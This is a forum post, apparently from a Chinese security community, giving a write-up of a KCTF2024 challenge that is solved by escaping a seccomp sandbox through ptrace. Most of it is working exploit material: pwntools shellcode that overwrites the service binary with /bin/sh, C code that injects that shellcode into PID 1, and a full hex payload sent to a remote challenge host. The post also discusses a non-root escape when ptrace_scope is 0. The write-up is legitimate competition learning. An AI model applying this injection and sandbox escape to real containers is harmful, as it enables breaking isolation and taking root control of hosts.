首页
社区
课程
招聘
[原创] KCTF2024 - 第八题星门 题解 与 ptrace绕过seccomp讨论 (手搓shellcode打咩)
发表于: 2024-8-30 18:09 3496

[原创] KCTF2024 - 第八题星门 题解 与 ptrace绕过seccomp讨论 (手搓shellcode打咩)

2024-8-30 18:09
3496

ptrace向entry point进程注入shellcode,替换power的文件为sh,2起遍历pid杀掉sleep让sh执行shellcode,再次连接题目就能拿到shell。

开沙箱之后读0x1000个字节的shellcode,然后直接call过去
call之前不动任何寄存器,可以说非常友好了
图片描述
dump一下沙箱的规则:
图片描述
只允许read, wait4, ptrace

目标是读flag,但程序自身现在不能open和write,也不能fork一个进程出来
ptrace很强大,可以杀进程也可以读写进程内存和寄存器。
如果我们的shellcode太长,可以考虑用read二次延申。

题目开了ptrace,在运行容器的时候也给了docker强大的 CAP_SYS_PTRACE 权限,此时:

但是本题目环境不存在这两个问题

(后记中还讨论了用prtace在另一种特定情况下竞争绕过seccomp的可能)

注意本题的power虽然在chroot环境中,但还是作为root运行的,理论可以trace容器内的任意进程。那我们可以随意trace一个其他不受seccomp限制的进程,然后向其注入shellcode就可以摆脱seccomp和chroot了。

这里的shellcode就很自由了,可以是:
将power替换为sh,再次连接时候执行的power就会直接生成shell,注意在shellcode结尾加上循环,不然entrypoint执行结束容器就会退出,环境销毁。

容器中的进程有:

自己不能ptrace自己,xinted可以留给后续连接用,那就可以有以下思路:

生成第二段shellcode(注入sh执行的shellcode):

生成第一段shellcode(发给程序的):

然后编译一下:
gcc pwn.c --static -nostdlib -o pwn
直接dump生成二进制的text段即可,最后加上jmp到main的两字节就是最终exp了

这种解法10分钟内会有被蹭车的可能,而且因为拿到了无限制的容器内最高权限,打通之后可以删改flag也可以抓别人流量()不知道是不是预期解

版主回复说在预期内,可以打通之后删flag防蹭车

然而远程环境其实是出网的,拿到本地shell之后显然有更优雅的做法QAQ

因为某些原因手写了长度和字符集受限的计算md5的shellcode之后就再也不想手写shellcode了,好在这题对shellcode本身没什么限制,可以自动生成,非常友好:

已知ptrace可以做的三件好事:

此外,非root用户在ptrace_scope=0时,也有机会逃逸seccomp (来自@cnitlrt和v3rdant.cn)

root用户可以随意trace其他进程,而非root用户只能trace自己的子进程。
然而,如果/proc/sys/kernel/yama/ptrace_scope设置为0,非root用户就能trace本用户的所有进程。

题目环境中pid比较稳定,几乎可以假设下一个次连接时的pid一定是本次连接+1,那么我们可以:

虽然有失败的可能,如果能在第二次连接启动的power进程执行prctl调用前附加上,我们就可以:

然而,docker中的/proc/sys/kernel/yama/ptrace_scope随宿主机的设置,在题目环境中,该值为1。所以如果本题的power不是以root运行的,该方法也不能用来解决本题。

作者刚学Linux的小菜鸡一枚,感谢师傅们读到这里,文中如有谬误还请评论指正

from pwn import *
context.arch = 'amd64'
 
sc = asm(shellcraft.execve('/bin/sh', ['/bin/sh', '-c',
                                       '/bin/cp /bin/sh /home/sectest/power; sleep infinity'], 0) + '\njmp $+0')
print(', '.join([hex(u64(sc[i:i+8].ljust(8, b'\x90'))) for i in range(0, len(sc), 8)]))
from pwn import *
context.arch = 'amd64'
 
sc = asm(shellcraft.execve('/bin/sh', ['/bin/sh', '-c',
                                       '/bin/cp /bin/sh /home/sectest/power; sleep infinity'], 0) + '\njmp $+0')
print(', '.join([hex(u64(sc[i:i+8].ljust(8, b'\x90'))) for i in range(0, len(sc), 8)]))
#include <sys/ptrace.h>
#include <sys/user.h>
#include <signal.h>
#include <sys/resource.h>
#include "pwn.h"
int main() {
  pid_t sleep_pid = 2;
  struct user_regs_struct regs;
  struct rusage usage;
  int status;
  unsigned long long data[] = // 刚刚生成的shellcode
     0x10101010101b848, 0x68632eb848500101, 0x431480169722e6f, 0x101b848e7894824, 0x4850010101010101, 0x17875686f6867b8, 0x73b8482404314801, 0x506e69207065656c, 0x7265776f702fb848, 0x65732fb84850203b, 0xb848507473657463, 0x656d6f682f206873, 0x622f207063b84850, 0x101b848502f6e69, 0x4850010101010101, 0x6f68632e01622cb8, 0x1b848240431482e, 0x5001010101010101, 0x722e6f68632eb848, 0xf631240431480169, 0x56e601485e136a56, 0x6a56e601485e186a, 0x894856e601485e18, 0x50f583b6ad231e6, 0x909090909090feeb
  };
 
  syscall(SYS_ptrace, PTRACE_ATTACH, 1, NULL, NULL);
  while (syscall(SYS_ptrace, PTRACE_ATTACH, sleep_pid, NULL, NULL)){
      sleep_pid++;
  }
  syscall(SYS_wait4, 1, &status, 0, &usage);
 
  syscall(SYS_ptrace, PTRACE_GETREGS, 1, NULL, &regs);
  for (int i = 0; i < sizeof(data) / sizeof(data[0]); i++) {
      syscall(SYS_ptrace, PTRACE_POKEDATA, 1, (void *)(regs.rip + i * sizeof(unsigned long long)), (void *)data[i]);
  }
  syscall(SYS_ptrace, PTRACE_CONT, sleep_pid, NULL, (void *)SIGALRM);
 
  syscall(SYS_ptrace, PTRACE_DETACH, sleep_pid, NULL, NULL);
  syscall(SYS_ptrace, PTRACE_DETACH, 1, NULL, NULL);
  return 0;
}
#include <sys/ptrace.h>
#include <sys/user.h>
#include <signal.h>
#include <sys/resource.h>
#include "pwn.h"
int main() {
  pid_t sleep_pid = 2;
  struct user_regs_struct regs;
  struct rusage usage;
  int status;
  unsigned long long data[] = // 刚刚生成的shellcode
     0x10101010101b848, 0x68632eb848500101, 0x431480169722e6f, 0x101b848e7894824, 0x4850010101010101, 0x17875686f6867b8, 0x73b8482404314801, 0x506e69207065656c, 0x7265776f702fb848, 0x65732fb84850203b, 0xb848507473657463, 0x656d6f682f206873, 0x622f207063b84850, 0x101b848502f6e69, 0x4850010101010101, 0x6f68632e01622cb8, 0x1b848240431482e, 0x5001010101010101, 0x722e6f68632eb848, 0xf631240431480169, 0x56e601485e136a56, 0x6a56e601485e186a, 0x894856e601485e18, 0x50f583b6ad231e6, 0x909090909090feeb
  };
 
  syscall(SYS_ptrace, PTRACE_ATTACH, 1, NULL, NULL);
  while (syscall(SYS_ptrace, PTRACE_ATTACH, sleep_pid, NULL, NULL)){
      sleep_pid++;
  }
  syscall(SYS_wait4, 1, &status, 0, &usage);
 
  syscall(SYS_ptrace, PTRACE_GETREGS, 1, NULL, &regs);
  for (int i = 0; i < sizeof(data) / sizeof(data[0]); i++) {
      syscall(SYS_ptrace, PTRACE_POKEDATA, 1, (void *)(regs.rip + i * sizeof(unsigned long long)), (void *)data[i]);
  }
  syscall(SYS_ptrace, PTRACE_CONT, sleep_pid, NULL, (void *)SIGALRM);
 
  syscall(SYS_ptrace, PTRACE_DETACH, sleep_pid, NULL, NULL);
  syscall(SYS_ptrace, PTRACE_DETACH, 1, NULL, NULL);
  return 0;
}
from pwn import *
context.arch = 'amd64'
 
 
p = remote("47.101.191.23", 9999)
p.send(bytes.fromhex('eb44') + bytes.fromhex('554889E548897DE8488975E0488955D848894DD04C8945C84C894DC0488B45E8488B7DE0488B75D8488B55D04C8B55C84C8B45C04C8B4D100F05488945F8488B45F85DC3F30F1EFA554889E54881EC40020000C745FC0200000048B848B8010101010101488985C0FDFFFF48B801015048B82E6368488985C8FDFFFF48B86F2E726901483104488985D0FDFFFF48B8244889E748B80101488985D8FDFFFF48B80101010101015048488985E0FDFFFF48BEB867686F687578014889B5E8FDFFFF48BF014831042448B8734889BDF0FDFFFF48B96C65657020696E5048898DF8FDFFFF48BE48B82F706F7765724889B500FEFFFF48BF3B205048B82F73654889BD08FEFFFF48BA63746573745048B848899510FEFFFF48B97368202F686F6D6548898D18FEFFFF48BE5048B86370202F624889B520FEFFFF48BF696E2F5048B801014889BD28FEFFFF48898530FEFFFF48B8B82C62012E63686F48898538FEFFFF48B82E4831042448B80148898540FEFFFF48B8010101010101015048898548FEFFFF48B848B82E63686F2E7248898550FEFFFF48B869014831042431F648898558FEFFFF48B8566A135E4801E65648898560FEFFFF48B86A185E4801E6566A48898568FEFFFF48B8185E4801E656488948898570FEFFFF48B8E631D26A3B580F0548898578FEFFFF48B8EBFE90909090909048898580FEFFFF6A0041B90000000041B800000000B900000000BA01000000BE10000000BF65000000E8E0FDFFFF4883C408EB048345FC018B45FC48986A0041B90000000041B800000000B9000000004889C2BE10000000BF65000000E8ACFDFFFF4883C4084885C075C9488D9590FEFFFF488D858CFEFFFF6A0041B9000000004989D0B9000000004889C2BE01000000BF3D000000E873FDFFFF4883C408488D8520FFFFFF6A0041B9000000004989C0B900000000BA01000000BE0C000000BF65000000E844FDFFFF4883C408C745F800000000EB4A8B45F84898488B84C5C0FDFFFF4889C1488B55A08B45F8489848C1E0034801D06A0041B9000000004989C84889C1BA01000000BE05000000BF65000000E8F5FCFFFF4883C4088345F8018B45F883F81876AE8B45FC48986A0041B90000000041B80E000000B9000000004889C2BE07000000BF65000000E8BBFCFFFF4883C4088B45FC48986A0041B90000000041B800000000B9000000004889C2BE11000000BF65000000E88DFCFFFF4883C4086A0041B90000000041B800000000B900000000BA01000000BE11000000BF65000000E862FCFFFF4883C408B800000000C9C3'))
p.close()
p = remote("47.101.191.23", 9999)
p.sendline(b'cat flag')
p.interactive()
from pwn import *
context.arch = 'amd64'
 
 
p = remote("47.101.191.23", 9999)
p.send(bytes.fromhex('eb44') + bytes.fromhex('554889E548897DE8488975E0488955D848894DD04C8945C84C894DC0488B45E8488B7DE0488B75D8488B55D04C8B55C84C8B45C04C8B4D100F05488945F8488B45F85DC3F30F1EFA554889E54881EC40020000C745FC0200000048B848B8010101010101488985C0FDFFFF48B801015048B82E6368488985C8FDFFFF48B86F2E726901483104488985D0FDFFFF48B8244889E748B80101488985D8FDFFFF48B80101010101015048488985E0FDFFFF48BEB867686F687578014889B5E8FDFFFF48BF014831042448B8734889BDF0FDFFFF48B96C65657020696E5048898DF8FDFFFF48BE48B82F706F7765724889B500FEFFFF48BF3B205048B82F73654889BD08FEFFFF48BA63746573745048B848899510FEFFFF48B97368202F686F6D6548898D18FEFFFF48BE5048B86370202F624889B520FEFFFF48BF696E2F5048B801014889BD28FEFFFF48898530FEFFFF48B8B82C62012E63686F48898538FEFFFF48B82E4831042448B80148898540FEFFFF48B8010101010101015048898548FEFFFF48B848B82E63686F2E7248898550FEFFFF48B869014831042431F648898558FEFFFF48B8566A135E4801E65648898560FEFFFF48B86A185E4801E6566A48898568FEFFFF48B8185E4801E656488948898570FEFFFF48B8E631D26A3B580F0548898578FEFFFF48B8EBFE90909090909048898580FEFFFF6A0041B90000000041B800000000B900000000BA01000000BE10000000BF65000000E8E0FDFFFF4883C408EB048345FC018B45FC48986A0041B90000000041B800000000B9000000004889C2BE10000000BF65000000E8ACFDFFFF4883C4084885C075C9488D9590FEFFFF488D858CFEFFFF6A0041B9000000004989D0B9000000004889C2BE01000000BF3D000000E873FDFFFF4883C408488D8520FFFFFF6A0041B9000000004989C0B900000000BA01000000BE0C000000BF65000000E844FDFFFF4883C408C745F800000000EB4A8B45F84898488B84C5C0FDFFFF4889C1488B55A08B45F8489848C1E0034801D06A0041B9000000004989C84889C1BA01000000BE05000000BF65000000E8F5FCFFFF4883C4088345F8018B45F883F81876AE8B45FC48986A0041B90000000041B80E000000B9000000004889C2BE07000000BF65000000E8BBFCFFFF4883C4088B45FC48986A0041B90000000041B800000000B9000000004889C2BE11000000BF65000000E88DFCFFFF4883C4086A0041B90000000041B800000000B900000000BA01000000BE11000000BF65000000E862FCFFFF4883C408B800000000C9C3'))

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2024-9-2 14:54 被mb_czamoutp编辑 ,原因: 更改标题
收藏
免费 1
支持
分享
最新回复 (2)
雪    币: 47147
活跃值: (20430)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
2
可以删除flag,等10分钟容器重启就恢复了
2024-8-30 18:14
1
雪    币: 0
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
3
pwn.h的源码可以提供一下吗
2024-10-12 10:14
0
游客
登录 | 注册 方可回帖
返回
//